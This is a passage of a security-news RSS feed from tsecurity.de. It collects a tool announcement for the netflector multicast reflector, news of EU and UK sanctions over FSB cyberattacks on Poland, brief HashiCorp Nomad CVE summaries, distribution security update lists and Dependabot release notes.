            <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item">Den Zustand von Servern und Containern im Blick zu behalten, muss nicht zwangsläufig eine umfangreiche Monitoring-Infrastruktur mit Prometheus und Grafana erfordern. Beszel verfolgt einen schlankeren Ansatz: Die Open-Source-Software überwacht Systeme und Docker-Container über eine moderne Weboberfläche und lässt sich mit geringem Aufwand selbst hosten.</div>
      <div class="field field--name-field-mt-post-categories field--type-entity-reference field--label-hidden field--entity-reference-target-type-taxonomy-term clearfix">
    <ul class="links field__items">
          <li><a href="https://www.it-administrator.de/tips-tools" hreflang="en">Tipps &amp; Tools</a></li>
      </ul>
</div>  <div class="node__links">
    <ul class="links inline"><li class="node-readmore"><a href="https://www.it-administrator.de/download-der-woche-beszel" rel="tag" title="Download der Woche: Beszel" hreflang="en">Weiterlesen<span class="visually-hidden"> über Download der Woche: Beszel</span></a></li></ul>  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[netflector - the only mDNS / SSDP / DIAL / WSD / WoL reflector you will ever need]]></title>
<description><![CDATA[This is a tool that makes all kinds of multicast-based discovery (and casting) work across networks (or VLANs). Full disclosure: I am using Claude Code. There are a lot of AI-sensitive people out there, so I want to be fully transparent this time. This post was not touched by AI, 100% human writt...]]></description>
<link>https://tsecurity.de/de/3669398/linux-tipps/netflector-the-only-mdns-ssdp-dial-wsd-wol-reflector-you-will-ever-need/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669398/linux-tipps/netflector-the-only-mdns-ssdp-dial-wsd-wol-reflector-you-will-ever-need/</guid>
<pubDate>Wed, 15 Jul 2026 04:08:41 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>This is a tool that makes all kinds of multicast-based discovery (and casting) work across networks (or VLANs).</p> <p>Full disclosure: <strong>I am using Claude Code</strong>. There are a lot of AI-sensitive people out there, so I want to be fully transparent this time. This post was not touched by AI, 100% human written :) Having said that, I am an experienced C++ developer (in HFT) and am writing low-level code (including networking) on a daily basis. This is not a vibe-coded project. I have designed this system and I have either written to reviewed all code.</p> <p>With that out of the way, the main motivation behind this project for me was twofold: learn Rust and solve a real problem I have at home. My phone and my TV are in different VLANs, so vanilla multicast discovery does not work. While there are plenty of mDNS reflectors out there, my LG TV uses SSDP and DIAL. In order to cast YouTube from my phone to my TV following needs to happen:</p> <ul> <li>Phone sends M-SEARCH SSDP multicast request which needs to be reflected into TVs VLAN (other reflectors can do that).</li> <li>TV responds with the unicast 200 OK, which needs to be forwarded back to the phone. (can be allowed in firewall, less secure than using this tool).</li> <li>Phone initiates a device discovery TCP connection to TV (can be allowed in firewall, less secure than using this tool).</li> <li>TV replies with the details of its REST endpoint (works fine because established connections are usually allowed anyway).</li> <li>Phone initiates another TCP connection to TV's REST endpoint. The connection must be from the TV's subnet (could be allowed and NAT'ed in firewall).</li> </ul> <p>So, to do this I would need to poke holes in the firewall and configure NAT. Additionally to that, I would still need to run some sort of reflector for SSDP multicast. How do I know? This is what I was doing for a couple of years :)</p> <p>Not anymore. My tool does all that automagically:</p> <ul> <li>It reflects multicast discovery packets (mDNS / SSDP / WSD).</li> <li>It proxies unicast UDP responses (SSDP / WSD).</li> <li>It does NAT for TCP connections (DIAL).</li> <li>It supports MAC filtering (so only specific devices are discoverable).</li> <li>It tolerates network interface re-creation. As long as new interface has the same name - reflection will continue.</li> <li>And as a bonus, it also reflects Wake-on-Lan packets.</li> </ul> <p>It does that with a very low footprint: static Linux binaries are &lt;1MB. Right now it runs on my MikroTik router (as a container) and uses less than 3MB of RAM.</p> <p>Currently I build static binaries for Linux (amd64/arm64/armv7/armv5) and FreeBSD (amd64/arm64), dynamic binaries for macOS (arm64) and a multi-arch Docker image. I will add more platforms on request.</p> <p>I really hope that this project will be useful not only for me :)</p> <p>GitHub: <a href="https://github.com/netflector/netflector">https://github.com/netflector/netflector</a></p> <p>Feedback is welcome.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/s3rgb"> /u/s3rgb </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uwom6f/netflector_the_only_mdns_ssdp_dial_wsd_wol/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uwom6f/netflector_the_only_mdns_ssdp_dial_wsd_wol/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Recent DShield SIEM Update, (Tue, Jul 14th)]]></title>
<description><![CDATA[The last update to the DShield SIEM [4] was in Sep 2025 which contained some minor tweaks. This update currently is using ELK stack version 8.19.15, contains some additional dashboards and new logs.]]></description>
<link>https://tsecurity.de/de/3669372/it-security-nachrichten/recent-dshield-siem-update-tue-jul-14th/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669372/it-security-nachrichten/recent-dshield-siem-update-tue-jul-14th/</guid>
<pubDate>Wed, 15 Jul 2026 03:53:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The last update to the DShield SIEM [<a href="https://isc.sans.edu/diary/DShield+SIEM+Docker+Updates/32276">4</a>] was in Sep 2025 which contained some minor tweaks. This update currently is using ELK stack version 8.19.15, contains some additional dashboards and new logs.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Tuesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (389-ds:1.4, buildah, freeipmi, freerdp, gegl, gimp, golang, kernel, libreoffice, maven:3.9, openexr, perl-DBI, plexus-utils, podman, tomcat, tomcat9, xorg-x11-server, and xorg-x11-server-Xwayland), Debian (imagemagick, p7zip, and redis), Fedora (bre...]]></description>
<link>https://tsecurity.de/de/3668095/linux-tipps/security-updates-for-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668095/linux-tipps/security-updates-for-tuesday/</guid>
<pubDate>Tue, 14 Jul 2026 15:26:32 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (389-ds:1.4, buildah, freeipmi, freerdp, gegl, gimp, golang, kernel, libreoffice, maven:3.9, openexr, perl-DBI, plexus-utils, podman, tomcat, tomcat9, xorg-x11-server, and xorg-x11-server-Xwayland), <b>Debian</b> (imagemagick, p7zip, and redis), <b>Fedora</b> (breezy, calibre, and golang-github-openprinting-ipp-usb), <b>Mageia</b> (ffmpeg, gzip, haproxy, libheif, libtiff, libxml2, packages, perl-List-SomeUtils-XS, and perl-Socket), <b>SUSE</b> (alsa, chromedriver, curl, dhcpcd, docker-compose, glibc, haproxy, ImageMagick, jq, kernel, kubernetes, libpng15, libredwg-devel, libslirp, nghttp2, php8, python-Pillow, python313-Django, python313-weasyprint, qemu, rust-keylime, sccache, and systemd), and <b>Ubuntu</b> (cifs-utils, libexif, libreoffice, libssh2, openssh, and pipewire).]]></content:encoded>
</item>
<item>
<title><![CDATA[EU, UK Attribute Russia Cyberattack to FSB, Announce Sanctions]]></title>
<description><![CDATA[The Russia cyberattack targeting Poland's critical infrastructure has been formally attributed to Russia's Federal Security Service (FSB), with the European Union and the United Kingdom announcing a coordinated package of cyber sanctions against Russian-linked hackers and organizations. The move ...]]></description>
<link>https://tsecurity.de/de/3666927/it-security-nachrichten/eu-uk-attribute-russia-cyberattack-to-fsb-announce-sanctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666927/it-security-nachrichten/eu-uk-attribute-russia-cyberattack-to-fsb-announce-sanctions/</guid>
<pubDate>Tue, 14 Jul 2026 07:38:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Russia cyberattack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Russia-cyberattack-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="EU, UK Attribute Russia Cyberattack to FSB, Announce Sanctions 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="401" data-end="873">The Russia cyberattack targeting Poland's critical infrastructure has been formally attributed to Russia's Federal Security Service (FSB), with the <a href="https://thecyberexpress.com/europe-union-tightens-cybersecurity-grip/" target="_blank" rel="noopener">European Union</a> and the United Kingdom announcing a coordinated package of cyber sanctions against <a href="https://thecyberexpress.com/russia-targeting-cisco-network-gear/" target="_blank" rel="noopener">Russian-linked hackers</a> and organizations. The move follows an attempted disruption of Poland's energy sector last winter that officials said came close to triggering a major blackout affecting nearly half a million people.</p>
<p data-start="875" data-end="1258">According to statements released by the EU and UK on Monday, the FSB's Center 16 was responsible for attempted <a href="https://thecyberexpress.com/tce-weekly-roundup-global-threats-ai-risks/" target="_blank" rel="noopener">cyber sabotage</a> against Poland's heating and power infrastructure, as well as cyber intrusions targeting water treatment facilities. The allies also accused the agency of conducting broader <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="28947">cyber</a> operations against governments and critical infrastructure across Europe.</p>

<h3 data-section-id="1ojdcbi" data-start="1260" data-end="1322"><span role="text"><strong data-start="1263" data-end="1322">Russia Cyberattack Linked to FSB's Center 16 Operations</strong></span></h3>
<p data-start="1324" data-end="1762">The European Union <a href="https://www.consilium.europa.eu/en/press/press-releases/2026/07/13/cyber-russia-statement-by-the-high-representative-on-behalf-of-the-european-union-denouncing-russia-s-malicious-cyber-ecosystem-targeting-the-eu-its-member-states-and-international-partners/" target="_blank" rel="nofollow noopener">said</a> Center 16, the signals intelligence arm of the FSB, has conducted malicious cyber activities affecting multiple member states and international partners. According to the bloc, these operations have included infiltration of government networks, cyber espionage, and sabotage targeting <a href="https://thecyberexpress.com/ci-fortify-targets-critical-infrastructure/" target="_blank" rel="noopener">critical infrastructure </a>in France, Germany, Poland, Cyprus, the Netherlands, Austria, Slovakia, Romania, and Finland.</p>
<p data-start="1764" data-end="2152">The EU also stated that Center 16 controls several cyber threat groups, including TURLA, and has been involved in cyber operations against strategic government entities in France since 2010 and the country's defense industry in 2025. In Germany, it allegedly targeted government institutions, while in Poland it carried out disruptive operations against combined heating and power plants.</p>
<p data-start="2154" data-end="2342">British authorities <a href="https://www.gov.uk/government/news/uk-and-eu-strike-russian-cyber-networks-with-new-sanctions" target="_blank" rel="nofollow noopener">described</a> last December's attempted attack on Poland's energy grid as "reckless," saying it was another example of Russia's attempts to create disruption across Europe.</p>

<h3 data-section-id="1xky3g3" data-start="2344" data-end="2396"><span role="text"><strong data-start="2347" data-end="2396">Poland Attack Nearly Triggered Major Blackout</strong></span></h3>
<p data-start="2398" data-end="2612">The <a href="https://thecyberexpress.com/poland-cyberattack-energy-grid-blackout/" target="_blank" rel="noopener">cyber incident targeting Poland's energy infrastructure</a> last winter was initially linked by cybersecurity firms ESET and Dragos to Sandworm, a threat group associated with Russia's military intelligence agency.</p>
<p data-start="2614" data-end="2802">However, Poland's national cybersecurity agency, <a href="https://thecyberexpress.com/default-credentials-polish-energy-grid-attack/" target="_blank" rel="noopener">CERT Polska</a>, later disputed that assessment after tracing the attack infrastructure and connecting it to a cluster associated with the FSB.</p>
<p data-start="2804" data-end="2996">Separately, Poland's domestic intelligence service <a href="https://www.abw.gov.pl/pl/aktualnosci/2815,Agencja-Bezpieczenstwa-Wewnetrznego-2024-2025-Wybrane-aktywnosci.html" target="_blank" rel="nofollow noopener">warned in May</a> that cyber intrusions targeting the country's water treatment facilities posed a direct risk to the continuity of water supply.</p>

<h3 data-section-id="1k2aqc9" data-start="2998" data-end="3037"><span role="text"><strong data-start="3001" data-end="3037">EU and UK Expand Cyber Sanctions</strong></span></h3>
<p data-start="3039" data-end="3350">In response, the European Union imposed restrictive measures on nine individuals and four entities linked to Russia's cyber ecosystem. The sanctions target intelligence officers, cybercriminals, self-proclaimed hacktivists, and private companies accused of supporting or facilitating malicious cyber operations.</p>
<p data-start="3352" data-end="3656">The wider sanctions package announced by European partners targets more than 30 individuals and organizations, including operators behind the Lumma Stealer <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-malware/" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28948">malware</a>, companies accused of recruiting hackers from Russian universities, and individuals associated with the pro-Kremlin Rybar military blog.</p>
<p data-start="3658" data-end="3877">EU foreign policy chief Kaja Kallas <a href="https://www.eeas.europa.eu/eeas/foreign-affairs-council-remarks-high-representative-kaja-kallas-press-conference-2_en" target="_blank" rel="nofollow noopener">said</a> Russia continues to rely on intelligence agencies, cybercriminal groups, hacktivists, and private companies to conduct malicious cyber operations against Europe and its partners.</p>
<p data-start="3879" data-end="4083">She added that the bloc strongly condemns the misuse of this cyber ecosystem, which has targeted public services and critical infrastructure, resulting in operational disruptions and financial losses.</p>

<h3 data-section-id="aubtqe" data-start="4085" data-end="4121"><span role="text"><strong data-start="4088" data-end="4121">France Details FSB Activities</strong></span></h3>
<p data-start="4123" data-end="4311">France also a<a href="https://www.diplomatie.gouv.fr/en/presse-et-ressources/decouvrir-et-informer/actualites/attribution-a-la-russie-d-activites-cyber-malveillantes-a-des-fins-d-espionnage-en-france" target="_blank" rel="nofollow noopener">nnounced</a> additional sanctions and said it would summon the Russian ambassador over what it described as persistent malicious cyber activities conducted for espionage purposes.</p>
<p data-start="4313" data-end="4523">A <a href="https://www.cert.ssi.gouv.fr/cti/CERTFR-2026-CTI-005/" target="_blank" rel="nofollow noopener">technical report</a> from France's Cyber Crisis Coordination Center (C4) identified 11 interception centers operated by Center 16 across Russia, including Unit 61240, which it said specifically focused on France.</p>
<p data-start="4525" data-end="4792">French authorities alleged that the unit targeted government ministry systems in 2014, compromised the French Embassy network in Moscow in 2018, and stole significant volumes of <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28949">data</a> from a research institute working with the French defense industry in February 2025.</p>
<p data-start="4794" data-end="4954">France also stated that one newly sanctioned group had claimed responsibility for destabilization efforts targeting the <a href="https://thecyberexpress.com/russian-government-2024-paris-olympics-games/" target="_blank" rel="noopener">2024 Paris Olympic</a> and Paralympic Games.</p>

<h3 data-section-id="1wps0k5" data-start="4956" data-end="5003"><span role="text"><strong data-start="4959" data-end="5003">Allied Advisory Warns of Ongoing Threats</strong></span></h3>
<p data-start="5005" data-end="5283">Alongside the sanctions, the United States and intelligence agencies from a dozen allied countries published a <a href="https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/1/CSA_IMPROVE_ROUTER_HYGIENE.PDF" target="_blank" rel="nofollow noopener">joint cybersecurity advisory</a> warning that Russian operators linked to Center 16 have been scanning internet-connected devices protected by weak or default credentials.</p>
<p data-start="5285" data-end="5731">The United Kingdom separately <a href="https://blogs.microsoft.com/on-the-issues/2025/05/21/microsoft-leads-global-action-against-favored-cybercrime-tool/" target="_blank" rel="nofollow noopener">sanctioned</a> individuals connected to Lumma Stealer, describing it as one of the world's most widely used information-stealing malware families. British officials said credentials stolen through the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noopener" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28950">malware</a> have been used to support Russian espionage operations globally. According to the UK's National <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Crime" data-wpil-keyword-link="linked" data-wpil-monitor-id="28946">Crime</a> Agency, more than 2,100 victims in the country were infected by Lumma Stealer during the past six months.</p>
<p data-start="5733" data-end="5994">British Foreign Secretary Yvette Cooper said the sanctions are intended to disrupt the cybercriminal ecosystem supporting Moscow's intelligence services, while emphasizing that the coordinated measures send a clear message against the use of proxy cyber groups.</p>
<p data-start="5996" data-end="6250">The Kremlin has repeatedly denied conducting offensive cyber operations. Russian President Vladimir Putin has <a href="https://ria.ru/20260604/putin-2096920826.html" target="_blank" rel="nofollow noopener">dismissed European allegations</a> of sabotage and cyberattacks as baseless, saying they are intended to justify aggressive policies against Russia.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14373 | HashiCorp Nomad/Nomad Enterprise prior 2.0.4/1.11.8/1.10.14 Docker Task Driver improper authentication (Nessus ID 326547)]]></title>
<description><![CDATA[A vulnerability identified as problematic has been detected in HashiCorp Nomad and Nomad Enterprise. Affected by this vulnerability is an unknown functionality of the component Docker Task Driver. Performing a manipulation results in improper authentication.

This vulnerability is cataloged as CV...]]></description>
<link>https://tsecurity.de/de/3666745/sicherheitsluecken/cve-2026-14373-hashicorp-nomadnomad-enterprise-prior-204111811014-docker-task-driver-improper-authentication-nessus-id-326547/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666745/sicherheitsluecken/cve-2026-14373-hashicorp-nomadnomad-enterprise-prior-204111811014-docker-task-driver-improper-authentication-nessus-id-326547/</guid>
<pubDate>Tue, 14 Jul 2026 04:54:45 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">problematic</a> has been detected in <a href="https://vuldb.com/product/hashicorp:nomad">HashiCorp Nomad and Nomad Enterprise</a>. Affected by this vulnerability is an unknown functionality of the component <em>Docker Task Driver</em>. Performing a manipulation results in improper authentication.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-14373">CVE-2026-14373</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14896 | HashiCorp Nomad/Nomad Enterprise prior 2.0.4/1.11.8/1.10.14 Dynamic Host Volumes Feature authorization (Nessus ID 326541)]]></title>
<description><![CDATA[A vulnerability identified as very critical has been detected in HashiCorp Nomad and Nomad Enterprise. This impacts an unknown function of the component Dynamic Host Volumes Feature. Performing a manipulation results in authorization bypass.

This vulnerability is identified as CVE-2026-14896. Th...]]></description>
<link>https://tsecurity.de/de/3666740/sicherheitsluecken/cve-2026-14896-hashicorp-nomadnomad-enterprise-prior-204111811014-dynamic-host-volumes-feature-authorization-nessus-id-326541/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666740/sicherheitsluecken/cve-2026-14896-hashicorp-nomadnomad-enterprise-prior-204111811014-dynamic-host-volumes-feature-authorization-nessus-id-326541/</guid>
<pubDate>Tue, 14 Jul 2026 04:54:39 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">very critical</a> has been detected in <a href="https://vuldb.com/product/hashicorp:nomad">HashiCorp Nomad and Nomad Enterprise</a>. This impacts an unknown function of the component <em>Dynamic Host Volumes Feature</em>. Performing a manipulation results in authorization bypass.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-14896">CVE-2026-14896</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in docker-compose (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3666355/unix-server/security-mehrere-probleme-in-docker-compose-suse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666355/unix-server/security-mehrere-probleme-in-docker-compose-suse/</guid>
<pubDate>Mon, 13 Jul 2026 22:16:56 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Formula One and Cybersecurity in the AI Era - Zscaler]]></title>
<description><![CDATA[The pace is faster, the attack surface is broader, data volumes are expanding, and legacy perimeter-based security (think the firewalls of yesteryear) ...]]></description>
<link>https://tsecurity.de/de/3666281/it-security-nachrichten/formula-one-and-cybersecurity-in-the-ai-era-zscaler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666281/it-security-nachrichten/formula-one-and-cybersecurity-in-the-ai-era-zscaler/</guid>
<pubDate>Mon, 13 Jul 2026 21:53:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The pace is faster, the attack surface is broader, <b>data</b> volumes are expanding, and legacy perimeter-based <b>security</b> (think the firewalls of yesteryear) ...]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.386.0]]></title>
<description><![CDATA[What's Changed

Capture offending gem details on bundler registry metadata errors by @kbukum1 in #15512
Bundler: apply empty-checksum metadata patch to the v2 helper by @kbukum1 in #15513
[Update graph] Ensure bystander txt files are removed before parsing for Python by @brrygrdn in #15508
Handle...]]></description>
<link>https://tsecurity.de/de/3665919/it-security-tools/v03860/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665919/it-security-tools/v03860/</guid>
<pubDate>Mon, 13 Jul 2026 18:35:24 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Capture offending gem details on bundler registry metadata errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824191752" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15512" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15512/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15512">#15512</a></li>
<li>Bundler: apply empty-checksum metadata patch to the v2 helper by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824414250" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15513" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15513/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15513">#15513</a></li>
<li>[Update graph] Ensure bystander txt files are removed before parsing for Python by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4819771035" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15508" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15508/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15508">#15508</a></li>
<li>Handle global.json with no SDK version in dotnet_sdk parser by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4821557169" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15510" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15510/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15510">#15510</a></li>
<li>Type the cargo ecosystem and remove it from the T.untyped burndown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810941973" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15492" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15492/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15492">#15492</a></li>
<li>Type the conda ecosystem and remove it from the T.untyped burndown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4811676578" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15493" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15493/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15493">#15493</a></li>
<li>Type the docker ecosystem and remove it from the T.untyped burndown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4811747259" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15495" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15495/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15495">#15495</a></li>
<li>Use shared git-tag cooldown in terraform by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4786767074" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15472" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15472/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15472">#15472</a></li>
<li>Retry corepack once on signature metadata error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4783580732" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15466" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15466/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15466">#15466</a></li>
<li>Type the deno, elm, devcontainers, bazel, and helm ecosystems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4833014415" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15527" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15527/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15527">#15527</a></li>
<li>Add word-separator and lowercase formatting for branch name by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4791908912" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15478" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15478/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15478">#15478</a></li>
<li>Fix Docker cooldown not respected for multi-arch images missing Last-Modified by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4796035244" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15486" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15486/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15486">#15486</a></li>
